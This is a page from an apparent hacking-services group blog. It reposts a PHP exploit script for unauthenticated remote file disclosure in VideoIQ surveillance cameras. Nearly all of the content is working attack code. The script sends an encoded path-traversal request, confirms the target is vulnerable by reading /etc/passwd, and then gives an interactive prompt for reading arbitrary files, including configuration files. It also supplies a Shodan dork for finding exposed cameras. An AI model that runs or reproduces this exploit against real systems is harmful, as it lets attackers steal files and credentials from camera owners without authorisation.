Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86374577

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<?php
# VideoIQ Camera Remote File Disclosure 0day Exploit
# 
# VideoIQ develops intelligent video surveillance cameras using edge video IP security cameras paired with video analytics.
#
# Exploit Coded & Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman) 

# Date 20/08/2016
# Shodan Dork 		: title:"VideoIQ Camera Login"
# Version Affected 	: All Versions
# Vendor Homepage	: http://avigilon.com
# CVE				: N/A
# Description		: VideoIQ is vulnerable to remote file disclosure which allows to any unauthenticated user read any file system including file configurations.
###
# Exploit code:

error_reporting(0);

$error[0] = "[!] This script is intended to be launched from the cli.";
 
if(php_sapi_name() <> "cli")
	die($error[0]);
     
if($argc < 3) {
	echo("\nUsage  : php {$argv[0]} <host> <port>");
	echo("\nExample: php {$argv[0]} localhost 8080");
	die();
}

if(isset($argv[1]) && isset($argv[2])) {
	$host = $argv[1];
	$port = $argv[2];
}

$pack = "GET /%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C..{FILE_PATH} HTTP/1.0\r\n";
$pack.= "Host: {$host}\r\n";
$pack.= "Connection: close\r\n\r\n";

while(1) {
	if(strstr(http_send($host, $port, preg_replace("/{FILE_PATH}/", '/etc/passwd', $pack)), 'root')) {
		echo("\nAnonymous@{$host}:~# cat ");
		if(($file = trim(fgets(STDIN))) == "exit")
			break;
		$ret = http_send($host, $port, preg_replace("/{FILE_PATH}/", $file, $pack));
		if(strstr($ret, '<title>Error 404 NOT_FOUND</title>') || strstr($ret, '<p>Problem accessing') || strstr($ret, '<h2>HTTP ERROR 404</h2>')) {
			echo("cat: {$file}: No such file or directory");
		} else {
			echo($ret);
		}
	} else {
		echo("[-] Server likely not vulnerable.\n");
		break;
	}
}

function http_send($host, $port, $pack) {
	if(!($sock = fsockopen($host, $port)))
		die("\n[-] No response from {$host}\n");
	fwrite($sock, $pack);
	$response = explode("\r\n\r\n", stream_get_contents($sock));
	return($response[1]);
}
?>